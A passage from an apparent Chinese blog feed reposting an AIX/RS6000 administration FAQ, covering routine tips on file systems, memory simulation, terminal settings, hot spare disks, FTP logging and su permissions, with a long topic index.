SAVING对话框中选择No,选好相应的时区后重启机器既可。<BR><BR>　<BR><BR>　<BR><BR><BR>passwd文件的备份<BR><BR>环境&nbsp;&nbsp;RS6000 <BR>问题&nbsp;&nbsp;passwd文件的备份 <BR>解答 如果误删除了/etc/passwd文件，可以用/etc/opasswd文件恢复，/etc下o开头的文件是相应文件的备份文件。<BR><BR>　<BR><BR>　<BR><BR><BR>如何限制某个用户使用FTP服务<BR><BR>环境&nbsp;&nbsp;AIX <BR>问题&nbsp;&nbsp;在AIX中，如何限制某个用户使用FTP服务？ <BR>解答 编辑/etc/ftpusers文件，把要限制使用的用户名加进此文件里，这样就限制了此用户使用FTP服务。<BR><BR>　<BR><BR>　<BR><BR><BR>在AIX系统中，如何得到一些偏僻的汉字<BR><BR>环境&nbsp;&nbsp;AIX&nbsp;&nbsp;<BR>问题&nbsp;&nbsp;在AIX 系统中，如何得到一些比较偏僻的汉字？ <BR>解答 在AIX的中文汉字库中，zh_CN 中有6763个汉字，而ZH_CN中有20902个汉字。如果用户要用到一些比较偏僻的汉字，建议用户安装中文环境时选择ZH_CN。<BR><BR>　<BR><BR>　<BR><BR><BR>AIX 是否支持 ramdisk<BR><BR>环境&nbsp;&nbsp; RS6000， AIX <BR>问题&nbsp;&nbsp;AIX 是否支持 ramdisk? 可否将内存当硬盘来使用，以提高访问速度。 <BR>解答 可以. AIX 操作系统支持ramdisk. 可使用mkramdisk命令来创建一个ramdisk. 其文件名为 /dev/rramdisk. 通过命令mkfs在其上建立文件系统来使用它. 用rmramdisk 命令或重新开机来删除ramdisk.<BR><BR>　<BR><BR>　<BR><BR><BR>什么是 inline log<BR><BR>环境&nbsp;&nbsp;产品, AIX<BR>平台, RS6000, Pseries&nbsp;&nbsp;<BR>问题&nbsp;&nbsp;什么是 inline log <BR>解答 在AIX5L 中可以为JFS2的文件系统创建一种新的日志类型。 这就是JFS2所特有的 inline log -- 日志与文件系统在同一逻辑卷上。<BR><BR>通过使用 inline log , 每个JFS2的文件系统可有独立日志设备，而不是整个卷组共享一个日志设备。 在文件系统数量较多的环境下,能够提高系统的RAS（Reliability Availability Serviceability)特性：在系统共享日志设备时, 日志设备的损坏会影响与之相关的所有文件系统。而使用inline log , 则不会出现此种情况。<BR><BR>创建JFS2文件系统时，缺省日志是放在共享的日志设备上, 将 "inline log ? "选项设为 "YES", 则建立了使用inline log 的JFS2 文件系统。<BR><BR><BR>　<BR><BR>　<BR><BR><BR>如何增加文件系统中的inode数目<BR><BR>环境&nbsp;&nbsp;产品: AIX<BR>平台: RS<BR>软件版本: AIX V4 <BR>问题&nbsp;&nbsp;用户需要生成新的文件时，系统报告空间不够，但df -k输出显示空间使用为43% <BR>解答 问题产生原因是由于客户有很多几百k的小文件，将所有的文件系统inode用尽。<BR>解决方案<BR><BR><BR>find / -size 0 -print 删除不必要的0字节文件<BR><BR>增加文件系统大小（鉴于客户的%used是43%，这样会浪费很多空间，不建议使用）<BR><BR>备份文件，重建文件系统，其中参数NBPI(number of bytes per inode)要尽量<BR>小，这样就能在同样大小的文件系统中获得更多的inode <BR>备注：<BR><BR>文件系统中inode的多少由文件系统大小和NBPI(number of bytes per inode)决定<BR>文件系统越大，NBPI越小，那么inode越多，意味能产生的文件和目录越多。<BR><BR>　<BR><BR>　<BR><BR><BR>什么是X-window<BR><BR>环境&nbsp;&nbsp;产品, RS6000<BR>平台, UNIX <BR>问题&nbsp;&nbsp;什么是X-window <BR>解答 X-window 是UNIX中功能强大的图形用户接口(GUI),是基于客户-服务器的一种应用技术. 表现为应用可运行在一个功能强大,易与维护的服务器上,而屏幕的输出则显示在另一个工作站上. X-window 技术包括两个成员: X-server 和 Window Manager. X-server 控制图像和窗口的显示, 跟踪鼠标和键盘的操作.一个X-server可控制多个窗口.Window Manager 则用于显示窗口的菜单和边界,提供窗口的移动,转换,最大,最小化操作. <BR><BR>　<BR><BR><BR>如何为调试应用程序性能 定制系统内存环境<BR><BR>环境&nbsp;&nbsp;产品: AIX<BR>平台: RS<BR>软件版本: AIX V4 <BR>问题&nbsp;&nbsp;用户需要为调试应用程序在不同的内存配置下的性能。 <BR>解答 操作系统提供了这样的应用来满足客户的需求。<BR>rmss -c memsize (设置需要调试的内存）<BR>rmss -p 显示当前的内存配置<BR>rmss -r 重新恢复至系统的实际内存大小<BR><BR>举例：<BR>#rmss -p<BR>Simulated memory size is 512 Mb.<BR>#rmss -c 128<BR>Simulated memory size changed to 128 Mb.<BR>#svmon -G<BR><BR><BR>　 size&nbsp;&nbsp;inuse free&nbsp;&nbsp;pin&nbsp;&nbsp;virtual&nbsp;&nbsp;stolen <BR>memory&nbsp;&nbsp;131061&nbsp;&nbsp;121681 9380 9417&nbsp;&nbsp;31604&nbsp;&nbsp;95584 <BR>pg space&nbsp;&nbsp;264192&nbsp;&nbsp;17306 　 　 　 　 <BR><BR><BR>其中stolen的内存就是512Mb和128Mb的差。<BR>当在128Mb内存下调试完程序后，恢复系统实际内存大小。<BR>#rmss -r<BR>#svmon -G <BR><BR><BR>　 size&nbsp;&nbsp;inuse&nbsp;&nbsp;free pin virtual <BR>memory&nbsp;&nbsp;131061&nbsp;&nbsp;26245&nbsp;&nbsp;104816 9417&nbsp;&nbsp;31604 <BR>pg space&nbsp;&nbsp;264192&nbsp;&nbsp;17306 　 　 　 <BR><BR>free的内存已经恢复如初。<BR><BR>　<BR><BR>　<BR><BR><BR>关于AIX 4.3.3的内核问题。<BR><BR>环境&nbsp;&nbsp;产品: AIX<BR>平台: RS<BR>软件版本: AIX V4 <BR>问题&nbsp;&nbsp;1.我目前的操作系统运行在多少位的内核上？<BR>2.我目前的机器能支持64bit应用吗？ <BR>解答 bootinfo -K<BR>32 操作系统运行在32位内核<BR>64 操作系统运行在64位内核<BR><BR>bootinfo -y<BR>64 你的机器可以支持64位和32位应用<BR>32 你的机器只支持32位应用 <BR>备注：<BR><BR>当bootinfo -K为32，bootinfo -y为64时，可以通过smit激活对64位应用的支持<BR>SMIT<BR>System Environments <BR>Change / Show Characteristics of Operating System <BR><BR><BR>　<BR><BR>　<BR><BR><BR>如何在AIX上实现象doskey一样的功能<BR><BR>环境&nbsp;&nbsp;产品: AIX<BR>平台: RS<BR>软件版本: AIX V4 <BR>问题&nbsp;&nbsp;客户需要实现类似doskey一样的功能 <BR>解答 在AIX操作系统中可以利用 set -o vi来实现类似功能。<BR>当用户想重复上一个很长的命令时，只需按ESC+k就行，再按k就上滚一条命令，<BR>而按j就可以后滚一条命令，然后回车就可以完成了。更好的是，你可以利用类似<BR>使用vi的方法来编辑你所看到的命令，来达到随意调整的目的。<BR>只一条简单的命令，就节约了宝贵的时间。需要时可以把set -o vi加入到.profile中。<BR><BR>　<BR><BR>　<BR><BR><BR>另一种让vi编辑超大文本文件的方法<BR><BR>环境&nbsp;&nbsp;产品: AIX<BR>平台: RS<BR>软件版本: AIX V4 <BR>问题&nbsp;&nbsp;vi缺省能编辑的最大文件不能超过1,048,560行 <BR>解答 在用户目录下生成文件.exrc其中写入<BR>set linelimit=xx000000 <BR>这样，就不用每回启动vi时都敲入vi -y xx000000<BR><BR>　<BR><BR>　<BR><BR><BR>如何修改终端的属性以适应特殊需要<BR><BR>环境&nbsp;&nbsp;产品: AIX<BR>平台: RS<BR>软件版本: AIX V4 <BR>问题&nbsp;&nbsp;客户有一个自己开发的应用，其中需要对ctrl+y的响应，来完成特定功能。<BR>但当客户实现时，却发现一按ctrl+y程序就退出了。 <BR>解答 客户使用的是telnet终端，其中需要对pty的属性进行修改。<BR>#smit pty<BR>Change / Show Characteristics of the PTY<BR>STATE to be configured at boot time ---------------available -----+ <BR>Maximum number of Pseudo-Terminals ---------[256]---------------- # <BR>Maximum number of BSD Pseudo-Terminals -----[16]<BR>其中并没有象tty一样的许多选项：<BR>#smit tty<BR>POSIX special control characters:<BR><BR>INTERRUPT character ------------------------[^c]<BR>QUIT character -----------------------------[^\]<BR>ERASE character ----------------------------[^h]<BR>KILL character -----------------------------[^u]<BR>END OF FILE character ----------------------[^d]<BR>END OF LINE character ----------------------[^@]<BR>2nd END OF LINE character ------------------[^?]<BR>DELAY SUSPEND PROCESS character ------------[^y]<BR>SUSPEND PROCESS character ------------------[^z]<BR>LITERAL NEXT character ---------------------[^v]<BR>START character ----------------------------[^q]<BR><BR><BR>解决办法：<BR>将suspend process character ^y变成其他不需要的特殊按键<BR>如： <BR>#stty dsusp ^@<BR>#stty -a<BR>speed 9600 baud; 24 rows; 80 columns;<BR>eucw 1:1:0:0, scrw 1:1:0:0:<BR>intr = ^C; quit = ^\; erase = ^H; kill = ^U; eof = ^D; eol = ^@<BR>eol2 = ^@; start = ^Q; stop = ^S; susp = ^Z; dsusp = ^@; reprint = ^R<BR>discard = ^O; werase = ^W; lnext = ^V<BR>-parenb -parodd cs8 -cstopb hupcl cread -clocal -parext<BR>-ignbrk brkint ignpar -parmrk -inpck -istrip -inlcr -igncr icrnl -iuclc<BR>-ixon -ixany -ixoff imaxbel<BR>isig icanon -xcase echo echoe echok -echonl -noflsh<BR>-tostop echoctl -echoprt echoke -flusho -pending iexten<BR>opost -olcuc onlcr -ocrnl -onocr -onlret -ofill -ofdel tab3<BR><BR><BR>这样当客户的应用再按ctrl+y时，程序就不会异常退出了。<BR><BR>　<BR><BR>　<BR><BR><BR>如何利用grep的一些高级选项更好地管理系统<BR><BR>环境&nbsp;&nbsp;产品: AIX<BR>平台: RS<BR>软件版本: AIX V4 <BR>问题&nbsp;&nbsp;如何利用grep的一些高级选项更好地管理系统 <BR>解答 较下面两个命令的输出，我们不难发现grep -p的优秀功能。<BR>它不止把我们要找的关键字的当前]]></description>
</item><item>
<title><![CDATA[AIX常见问题整理]]></title>
<link>http://blogger.org.cn/blog/more.asp?name=xueflhg&amp;id=7381</link>
<author>xueflhg</author>
<pubDate>2005/7/22 12:46:15</pubDate>
<description><![CDATA[创建时间：2002-08-17<BR>文章属性：原创<BR>文章来源：<A href="http://www.cnsafe.net/" target=_blank>www.cnsafe.net</A><BR>文章提交：<A href="https://www.xfocus.net/bbs/index.php?lang=cn&amp;act=Profile&amp;do=03&amp;MID=8306">mayi</A> (mayi99_at_263.net)<BR><BR>by:ciline<BR>来自：<A href="http://www.cnsafe.net/" target=_blank>www.cnsafe.net</A><BR><BR>提纲：<BR>用feprom_update升级Firmware 2002-07-24 <BR>CHRPSystems系统启动过程的LEDE1DC报错提示 2002-07-24 <BR>怎样在AIX5.1中建立热后备(hotspare)磁盘？ 2002-07-24 <BR>如何让非root用户有权限执行sar命令 2002-07-24 <BR>使用errpt命令，产生0315-171错误 2002-07-24 <BR>普通用户执行su命令时产生错误：Authenticationdenied. 2002-07-24 <BR>查找文件或命令对应的文件集 2002-07-24 <BR>AIX5L新特性（一）：如何确认CPU的主频？ 2002-07-24 <BR>如何记录ftplog? 2002-07-24 <BR>目前哪些RS/6000支持逻辑分区(LPAR)? 2002-07-11 <BR>在移植安装（Migrationinstallation）中都有那些文件和数据保留下来？ 2002-07-11 <BR>如何在保留安装（Preservationinstallation）方式下自定义需要保留的文件？ 2002-07-11 <BR>PTF与APAR的区别？ 2002-07-11 <BR>将man命令查看的内容转换成普通文本文件 2002-07-11 <BR>查看bootlog 2002-07-11 <BR>inetd.conf文件的恢复 2002-07-11 <BR>如何立刻断掉一个已经login的用户？ 2002-07-11 <BR>使用errdemon客户化系统错误日志文件 2002-07-11 <BR>什么版本的Oracle数据库支持AIX5.1 2002-07-11 <BR>IBMpSeries和RS/6000哪些型号可以安装SuSElinux？ 2002-07-11 <BR>如何监控裸设备I/O? 2002-07-11 <BR>在AIX上安装RPM格式软件包 2002-07-11 <BR>gated 进程介绍和应用 2002-03-25 <BR>如何处理 mountd 和 nfsd 无法正常启动 2002-03-25 <BR>如何在图形登录和命令行登录方式见切换？ 2002-01-29 <BR>如何阻止某些用户远程登录，telnet,rlogin? 2002-01-29 <BR>如何拒绝某些用户的ftp访问? 2002-01-29 <BR>如何查看某用户共启动了多少进程？ 2002-01-29 <BR>如何在清理/tmp文件系统时找到过大的文件? 2002-01-29 <BR>如何限制某用户在特定 pty 的访问。 2002-01-28 <BR>如何打开锁死的帐户 2002-01-28 <BR>如何下载RS/6000相关的补丁(Fix,PTF),维护包及微码(Microcode) 2002-01-03 <BR>如果想将linux应用移植到pSeries和RS/6000上，哪里有参考资源？ 2002-01-03 <BR>Aix 4.3上支持超过2GB的文件吗？ 2002-01-03 <BR>IBM INFORMIX数据库级备份都备份了哪些内容？ 2001-12-31 <BR>在RS6000系列机器上如何配置IBM INFORMIX数据库临时数据库空间？ 2001-12-31 <BR>如何改变主机IP地址解析顺序 2001-12-30 <BR>AIX无线系统管理器 2001-12-30 <BR>不能增加用户，错误信息为3004-687 2001-12-20 <BR>如何改变上传ftp文件的缺省读写属性？ 2001-12-19 <BR>AIX中的 rmss 命令的用途 2001-12-19 <BR>在AIX 4.x如何清除挂起的tty 2001-12-18 <BR>在AIX中扩展卡的逻辑名和它所在插槽的对应关系 2001-12-14 <BR>如何对系统做镜像以提高系统高可用性和性能 2001-12-11 <BR>Debug mode 引导AIX 2001-12-10 <BR>kdb command 2001-12-10 <BR>在AIX中如何为一块网卡，配多个IP地址？ 2001-12-03 <BR>AIX内核参数调整之vmtune -p -P(2)? 2001-11-30 <BR>AIX内核参数调整之vmtune -f -F(3)? 2001-11-30 <BR>Linux 与 Pseries/RS6000 2001-11-30 <BR>AIX内核参数调整之vmtune -M(5)? 2001-11-30 <BR>AIX内核参数调整之vmtune -r -R(4)? 2001-11-30 <BR>如何在命令行下运行update_all? 2001-11-29 <BR>如何确定一文件系统是Large File Enabled的文件系统? 2001-11-29 <BR>手工删除smit菜单 2001-11-29 <BR>6230 SSA卡上快写缓存的设置？ 2001-11-29 <BR>支持Xwindows最少需要安装那些文件集(Fileset)？ 2001-11-29 <BR>如何改动IP地址 2001-11-27 <BR>启动sendmail 2001-11-27 <BR>如何显示格林威治时间 2001-11-27 <BR>看SSA逻辑盘与物理盘之间对应关系 2001-11-27 <BR>登录失败次数过多 2001-11-27 <BR>用户名长度问题 2001-11-27 <BR>如何判断引起core文件的应用程序 2001-11-27 <BR>inittab中引用的环境变量 2001-11-27 <BR>解锁卷组 2001-11-27 <BR>在一个磁带上备份多个文件 2001-11-27 <BR>夏时制问题 2001-11-27 <BR>passwd文件的备份 2001-11-27 <BR>如何限制某个用户使用FTP服务 2001-11-27 <BR>在AIX系统中，如何得到一些偏僻的汉字 2001-11-27 <BR>AIX 是否支持 ramdisk 2001-11-15 <BR>什么是 inline log 2001-11-15 <BR>什么是X-window 2001-09-29 <BR>如何增加文件系统中的inode数目 2001-09-28 <BR>如何为调试应用程序性能 定制系统内存环境 2001-09-28 <BR>关于AIX 4.3.3的内核问题。 2001-09-28 <BR>如何在AIX上实现象doskey一样的功能 2001-09-28 <BR>如何修改终端的属性以适应特殊需要 2001-09-28 <BR>另一种让vi编辑超大文本文件的方法 2001-09-28 <BR>如何利用grep的一些高级选项更好地管理系统 2001-09-28 <BR>IBM RS/6000 CPU 与IBM INFORMIX数据库CPU虚处理器的设置 2001-08-28 <BR>AIX 与 LINUX 的结盟 2001-08-17 <BR>哪里可以下载AIX上的JDK? 2001-08-02 <BR>如何在 AIX 中设置 tftp server 2001-07-31 <BR>为什么用CD-ROM有时不能引导AIX 5L 2001-07-16 <BR>AIX 5L 5.1中的64位内核 2001-07-12 <BR>怎样在AIX 5L 5.1中进行64位和32位内核的切换？ 2001-07-12 <BR>何谓EtherChannel？在AIX 5L中,它有何增强？ 2001-07-12 <BR>JFS2 与 JFS的比较 2001-07-11 <BR>AIX 5L V5.1介绍 2001-07-10 <BR>如何确定pSeries和RS/6000 CPU的主频？ 2001-07-04 <BR>利用mksysb进行系统备份有什么好处 2001-07-01 <BR>如何平稳地停止AIX系统运行? 2001-07-01 <BR>如何解决AIX上不能增加新用户，错误讯息 3004-687 2001-07-01 <BR>/var/adm/wtmp档案太大怎么办 2001-07-01 <BR>在Korn Shell中要如何设定 prompt 才会显示出目前所在的目录？ 2001-07-01 <BR>2001/06 AIX安全防范有关的补丁（APAR） 2001-06-26 <BR>当运行mksysb时，系统报错：“rootvg is locked”(根卷组被锁定) 2001-06-25 <BR>如何在Documentation Search Service中删除文档？ 2001-06-25 <BR>CDE 不能启动解疑（一） 2001-06-25 <BR>只有root用户可以登录Xwindows，但普通用户不能登录, 如何处理？ 2001-06-25 <BR>CDE 不能启动解疑（二） 2001-06-25 <BR>执行execd时出现错误0826-604 2001-06-12 <BR>如何配置AIX 5L 中的 Processor Entitlement 2001-06-12 <BR>AIX 5L 的特点 2001-06-12 <BR>怎样镜像rootvg 2001-06-08 <BR>AIX 5L v5.1在网络方面增加了那些新功能？ 2001-06-08 <BR>什么是Dead Gateway Detection(DGD, 失效网关检测）？ 2001-06-08 <BR>Virtual IP Address (VIPA)虚拟IP地址 2001-06-08 <BR>AIX支持的最大socket数 2001-06-08 <BR>建立第二个root用户 2001-06-05 <BR>如何查看系统的telnetd daemon已启动 2001-05-31 <BR>如何使用dd命令备份裸设备 2001-05-31 <BR>使用ls或mv *命令时, 产生"Arguments too long"或"Array list too long"的错误信息 2001-05-31 <BR>普通用户无法执行su命令 2001-05-31 <BR>Aix 版本号介绍 2001-05-31 <BR>在AIX4.3.3系统中，为什么oslevel命令的输出不是4.3.3.0 2001-05-31 <BR>如何查看CPU的时间片的大小 2001-05-30 <BR>恢复文件系统超级块 2001-05-30 <BR>tar备份链接文件 2001-05-30 <BR>在同网段内同步时间 2001-05-30 <BR>在RS6000上，当使用新的7210-025 DVD-RAM 来备份卷组时，可以跨多个CD写文件吗？ 2001-05-29 <BR>运行iostat -d 命令系统返回警告提示" Disk history since boot not available. " 2001-05-23 <BR>设置以太网卡时选择全双工还是半双工? 2001-05-23 <BR>怎样确定当前系统是32位或64位? 2001-05-23 <BR>AIX Version 4.3 Bonus Pack - 2001年4月版 2001-05-23 <BR>AIX V4.3支持超过2GB大文件 2001-05-22 <BR>如何在AIX4.3.3中启动或停止dhcpcd 2001-05-22 <BR>编辑超大文本文件 2001-05-22 <BR>在根目录(/)下执行了rm *,如何恢复系统 2001-05-22 <BR>如何解决License Server 启动时的错误 GRL-2050: Fatal error from I4LLMD 2001-05-22 <BR>怎样创建固定大小的临时大文件 2001-05-22 <BR>smit.log 与 smit.script 文件 2001-05-21 <BR>如何减少文件系统中的碎块 2001-05-21 <BR>AIX中对软盘操作的DOS兼容命令 2001-05-21 <BR>查看系统启动信息(alog) 2001-05-21 <BR>如何查看多用户系统中其它终端的属性 2001-05-21 <BR>查看SSA磁盘中pdisk与hdisk的对应关系 2001-05-21 <BR>如何看机器内的卡及硬盘的微码级别(microcode level) 2001-05-21 <BR>如何在dtterm中使用PageUp/PageDown 上下翻页 2001-04-30 <BR>如何禁止动态路由 2001-04-30 <BR>无法删除文件系统 2001-04-30 <BR>如何限制某些用户无法ftp至RS/6000服务器 2001-04-30 <BR>如何增加文件系统的空间 2001-04-29 <BR>PCI 两口多协议卡（2-Port Multiprotocol PCI Adapter 9-L)的配置方法 2001-04-28 <BR>用户转换错误 2001-04-28 <BR>杀进程的shell程序 2001-04-25 <BR>怎样在AIX中Mount Redhat Linux上的nfs文件系统？ 2001-04-25 <BR>如何限制用户改变密码 2001-04-24 <BR>AIX4.3 的维护包(Maintenance Level) 及推荐维护包(Recommended Maintenance) 2001-03-15 <BR>如何自动启动和关闭软件的运行 2001-01-18 <BR>光盘驱动器错误0514-062: 指定的设备忙. 2001-01-18 <BR>AIX4.3.2下安装显卡GXT130P 2001-01-15 <BR>/var/adm/wtmp文件太大 2001-01-15 <BR>显示设置启动引导顺序 2001-01-15 <BR>安装MAN 2001-01-15 <BR>改变主机IP地址解析顺序 2001-01-15 <BR>telnet提示"所有的网络端口已用" 2001-01-15 <BR>LED 223-229故障的解决 2001-01-05 <BR>LED 553故障的解决 2001-01-05 <BR>AIX版本号释疑 2001-01-05 <BR>/etc/preserve.list文件有什么用? 2001-01-05 <BR>LED 201故障的解决 2001-01-05 <BR>LED 551,555和557故障的解决 2001-01-05 <BR>LED 552,554和556故障的解决 2001-01-05 <BR>如何替换损坏的镜像卷组硬盘? 2001-01-05 <BR>RS/6000液晶显示屏上显示代码(LED)的含义 2001-01-02 <BR>不能增加新用户，错误信息 3004-687 2000-12-29 <BR>拨号访问RS/6000的快速配置方法 2000-12-29 <BR>解决 10/2000 和 11/2000版的 Update CDs引起的NFS及NIM 错误 2000-12-29 <BR>解决升级(Migration) 到 AIX 4.3.3时 可能会遇到的启动失败 2000-12-29 <BR>改变磁盘名顺序 2000-12-29 <BR>如何确定一个备份带的块大小(Block Size)和类型(Type)？ 2000-12-29 <BR>如何创建/dev/null文件? 2000-12-28 <BR>Netscape Communicator无法正常启动 2000-12-28 <BR>如何查找系统中某个文件或命令所对应的文件集? 2000-12-28 <BR>从"卷组被锁定"的报错信息中恢复 2000-12-28 <BR>从LED C31中恢复 2000-12-28 <BR>查看操作系统中是否安装了某个补丁程序的简便方法 2000-12-28 <BR>.sh_history文件被破坏了怎么办? 2000-12-28 <BR>如何屏蔽某一用户的ftp访问? 2000-12-28 <BR>AIX的安装方法及其特点 2000-12-28 <BR>无单点故障的SSA卡及7133配置案例 2000-12-28 <BR>非root用户的登录问题 2000-12-28 <BR>怎样查看RS/6000的物理内存？ 2000-12-27 <BR>关于2000年10、11月的UPDATE CD 中NFS和NIS的错误 2000-12-27 <BR>Communications Server无法启动 2000-12-27 <BR>如何在AIX 4.3中安装联机手册？ 2000-12-27 <BR>何为AIX 5L 2000-12-27 <BR>AIX中如何解决不能释放光驱的问题 2000-12-27 <BR>使用ftp自动传输文件 2000-12-27 <BR>如何快速安装AIX补丁程序? 2000-12-27 <BR>如何监控AIX的单个file/lv/pv的繁忙程度？ 2000-12-27 <BR>检查AIX上的病毒 2000-12-27 <BR>定制自己的AIX Login 画面 2000-12-27 <BR>系统停在 LED C33 2000-12-26 <BR>如何查看物理内存的大小 2000-12-12 <BR>使用命令行安装删除文件包 2000-12-12 <BR>远程客户可通过"login, ftp"登录, 但不可通过"telnet"登录 2000-12-12 <BR>AIX 的许可权限 2000-12-12 <BR>如何解决"device busy"问题 2000-12-12 <BR>IPCS Limitation(AIX 3.2.5 --- AIX 4.3.2) 2000-12-12 <BR>AIX 用户的系统资源使用限制 2000-12-12 <BR>AIX 4.3.3 监控系统活动的新命令--TOPAS 2000-12-05 <BR>在AIX中设置中文环境 2000-12-04 <BR>"Volume Group Locked" 恢复步骤 2000-11-30 <BR>如何在CDE中添加图标？ 2000-11-28 <BR>如何创建 /dev/null 文件 2000-11-27 <BR>如何减小 /var/adm/wtmp 文件的大小? 2000-11-27 <BR>如何查找系统中的某个文件存在于哪个文件集中? 2000-11-27 <BR>怎样使用CDE环境? 2000-11-17 <BR>怎样保存当前的CDE环境 2000-11-17 <BR>如何使.profile文件在CDE中生效？ 2000-11-17 <BR>怎样创建共享库？ 2000-11-17 <BR>何谓COSE? 2000-11-16 <BR>进程kproc 2000-11-14 <BR>如何管理Paging Space 2000-11-14 <BR>异步I/O (aio) 2000-11-14 <BR>裸设备(Raw Device) 2000-11-14 <BR>在AIX4.3.3系统中，为什么oslevel命令的输出不是4.3.3.0？ 2000-11-13 <BR>AIX 4.3.3 的中文输入 2000-11-13 <BR>libc.a 文件恢复 2000-11-13 <BR>何为AIX/Montery 2000-11-13 <BR>如何使用 IBM HTTP Server 支持AIX 联机文档？ 2000-11-13 <BR>7133硬盘连接验证"good" 及"reserved" 2000-11-13 <BR>如何从 LED 553 恢复 2000-11-13 <BR>RAID 技术简介 2000-11-10 <BR>如何减小hd6页面空间 2000-11-09 <BR>在做RS/6000 AIX 订单配置时, 需要配置用户数么? 2000-08-04 <BR>如何下载 RS/6000 PTF(Fixes) 及 Firmware? 2000-06-13 <BR><BR><BR><BR><BR><BR>FAQ:<BR><BR>怎样在AIX 5.1中建立热后备(hot spare)磁盘？<BR><BR>环境&nbsp;&nbsp;AIX 5.1 <BR>问题&nbsp;&nbsp;怎样在AIX 5.1中建立热后备(hot spare)磁盘？ <BR>解答 在AIX 5.1中可以在操作系统的级别上建立hot spare磁盘。<BR>如需要在某一卷组(VG)中建立hot spare磁盘，必须满足如下条件：<BR>1. 逻辑卷(LV)在此卷组中必须进行镜像(mirror)。<BR>2. 作为hot spare的磁盘上不能有任何的逻辑卷或文件系统。<BR>3. hot spare盘的容量应大于或等于此卷组中最大磁盘的容量。<BR><BR>当满足以上条件后，可采用以下步骤(此处假设卷组名为testvg,<BR>磁盘为hdisk6):<BR><BR><BR>1. # exptendvg testvg hdisk6<BR>将hdisk6加入卷组testvg。<BR><BR><BR>2. # chpv -hy hdisk6<BR>将hdisk6标记为hot spare磁盘。<BR><BR><BR>3. #chvg -hy -sy testvg<BR>将testvg标记为使用hot spare盘的卷组，并且当发生磁盘失效<BR>时自动进行磁盘的替换并同步。<BR><BR>　<BR><BR><BR>用feprom_update升级 Firmware<BR><BR>环境&nbsp;&nbsp;平台: RS/6000 <BR>问题&nbsp;&nbsp;用feprom_update升级 Firmware <BR>解答 在AIX 4.3，命令feprom_update会得到报错：<BR>1734-009 cannot write in FEPROM<BR><BR>一旦得到此提示，表示firmware坏了，系统将无法启动。<BR>此问题可能会在以604e为处理器的SMP系统上(也包括SP高结点)出现。在升级Firmware之前，应先检查APAR IX84560是否已装到系统中。<BR>请从下面网址得到此补丁包：<BR><A href="http://techsupport.services.ibm.com/rs6k/fixes.html" target=_blank>http://techsupport.services.ibm.com/rs6k/fixes.html</A><BR><BR><BR>CHRP Systems系统启动过程的LED E1DC 报错提示<BR><BR>环境&nbsp;&nbsp;平台: RS/6000<BR>版本: AIX 4.3 <BR>问题&nbsp;&nbsp;CHRP Systems系统启动过程的LED E1DC 报错提示 <BR>解答 用比硬盘上安装的AIX版本还低的AIX 安装盘或诊断光盘启动CHRP结构的RS/6000机器，往往会遇到E1DC LED报错提示.<BR><BR>确定一个机器是否为CHRP结构,可用如下命令:<BR>lslpp -L devices.chrp.base.rte<BR><BR>如果devices.chrp.base.rte文件包存在，则是CHRP结构；<BR>如果没有此文件存在，此问题不会发生.<BR>要防止此问题的办法是打补丁包：APAR IX79693.<BR>它包含在AIX 4.3.2和4.3.2 diagnostics CD中（P/N 08L1427 or 08L1430）。<BR>如果发生这个问题，唯一的方法是在系统下电后取下电池，10-15分钟后装回即可。<BR><BR><BR>普通用户执行su命令时产生错误：Authentication denied.<BR><BR>环境&nbsp;&nbsp;产品：AIX<BR>平台：RS<BR>软件版本：4.3 <BR>问题&nbsp;&nbsp;当普通用户执行su命令su到root或其它普通用户时，产生错误：Authentication denied。 <BR>解答 使用命令 ls -l /usr/bin/su检查su文件的权限，正确的权限应为：-r-sr-xr-x root security ...<BR>如果权限不正确，使用以下命令修改：<BR># cd /usr/bin<BR># chmod 4555 su<BR><BR><BR>如何让非root用户有权限执行sar命令<BR><BR>环境&nbsp;&nbsp;产品：AIX<BR>平台：RS<BR>软件版本：4.3 <BR>问题&nbsp;&nbsp;如何让非root用户有权限执行sar命令 <BR>解答 可通过smit --&gt; Security &amp; Users --&gt; Users --&gt; Change/Show Characteristics of a User 修改用户的属性，将“adm”组加入该用户的Primary GROUP中即可。<BR><BR><BR>使用errpt命令，产生0315-171错误<BR><BR>环境&nbsp;&nbsp;产品：AIX<BR>平台：RS<BR>软件版本：4.3 <BR>问题&nbsp;&nbsp;当使用命令errpt -a查看系统的错误报告时，产生错误：0315-171: 不能处理错误日志文件/var/adm/ras/errlog <BR>解答 该错误的产生是由于/var/adm/ras/errlog文件被破坏导致的，可以用如下步骤删除现有文件，使系统自动生成一个新的/var/adm/ras/errlog文件：<BR><BR>1. /usr/lib/errstop<BR>2. rm /var/adm/ras/errlog<BR>3. /usr/lib/errdemon<BR><BR><BR>如何记录ftp log?<BR><BR>环境&nbsp;&nbsp;RS6000 &amp; pSeries<BR>AIX 4.3 和 AIX 5L <BR>问题&nbsp;&nbsp;如何记录ftp log? <BR>解答 缺省情况下， 系统不会记录使用FTP连接和传输文件的日志（log). 这会对系统造成安全隐患，尤其在用户使用匿名ftp方式时。为了避免这种情况发生， 可用如下的步骤使系统记录FTP的日志：<BR>1.修改/etc/syslog.conf文件，并加入一行：<BR>daemon.info FileName<BR>其中FileName是日志文件的名字， 它会跟踪FTP的活动，包括匿名和其他用户ID. FileName文件必须在做下一步骤前创建。<BR><BR>2.运行"refresh -s syslogd"命令刷新syslogd 后台程序。<BR><BR>3.修改/etc/inetd.conf文件，修改下面的数据行：<BR>ftp stream tcp6 nowait root /usr/sbin/ftpd ftpd -l<BR><BR>4.运行“refresh -s inetd”命令刷新inetd后台程序。<BR><BR><BR>查找文件或命令对应的文件集<BR><BR>环境&nbsp;&nbsp;产品：AIX<BR>平台：RS<BR>软件版本：4.3 <BR>问题&nbsp;&nbsp;查找文件或命令对应的文件集 <BR>解答 1. 确认系统中已安装了文件集：bos.content_list<BR><BR>2. 查找文件或命令所对应的文件集，使用命令：<BR># /usr/sbin/which_fileset &lt;filename&gt;<BR>如：/usr/sbin/which_fileset iostat<BR><BR>3. 查看指定的文件集包含哪些文件，使用命令：<BR># lslpp -f &lt;fileset&gt;<BR>如：lslpp -f bos.acct<BR><BR><BR>AIX 5L 新特性（一）：如何确认CPU的主频？<BR><BR>环境&nbsp;&nbsp;硬件平台：rs6000 &amp; pSeries<BR>操作系统：AIX 5L <BR>问题&nbsp;&nbsp;AIX 5L 新特性（一）：如何确认CPU的主频？ <BR>解答 在AIX 5L中可以非常方便的确认CPU的主频，使用如下命令：<BR>lsattr -El proc0<BR>在命令输出的最后一行中"frequency"所指的值既为CPU的主频。 <BR>在AIX 